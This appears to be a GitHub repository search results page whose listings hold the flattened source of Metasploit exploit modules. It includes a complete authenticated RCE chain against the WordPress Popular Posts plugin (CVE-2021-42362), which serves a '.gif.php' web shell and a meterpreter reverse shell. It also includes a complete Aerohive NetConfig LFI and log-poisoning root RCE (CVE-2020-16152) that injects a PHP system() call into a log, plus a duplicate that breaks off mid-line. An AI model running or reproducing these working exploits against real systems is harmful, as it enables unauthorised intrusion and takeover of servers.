Found 9 repositories(showing 9)
clean up licenses from package.json files and the npm registry
Nate0634034090
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen endend### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE', 'Description' => %q{ This module exploits LFI and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks. This module leverages this issue in conjunction with log poisoning to gain RCE as root. Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the app responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # still categorized as RESERVED ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('Target is not an Aerohive NetConfig application.') end version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('Could not determine Aerohive NetConfig version.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("The target is Aerohive NetConfig version #{version}") else print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.') return CheckCode::Safe("The target is Aerohive NetConfig version #{version}") end rescue StandardError => e return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Poison /tmp/messages print_status('Attempting to poison the log at /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages') end print_status('Server responded as expected. Continuing...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Attempting to clean the log file at /tmp/messages...') print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.') begin # We need remove the line containing the PHP system call from /tmp/messages # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username. # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same: # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"") # Wait for cleanup Rex.sleep 5 # Check for the PHP system call in /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # using =~ here produced unexpected results, so include? is used instead unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Check for the PHP system call in /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # using =~ here produced unexpected results, so include? is used instead unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Error during cleanup: #{e.message}") ensure super end unless log_cleaned print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages") end end if log_cleaned print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.') else print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}") print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.') print_warning('Deleting /tmp/messages or clearing out the file may break the application.') end end def execute_command(cmd, _opts = {}) print_status('Attempting to execute the payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Trigger LFI through path truncation @shell_cmd_name => cmd } }, 0) print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend
Nate0634034090
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ 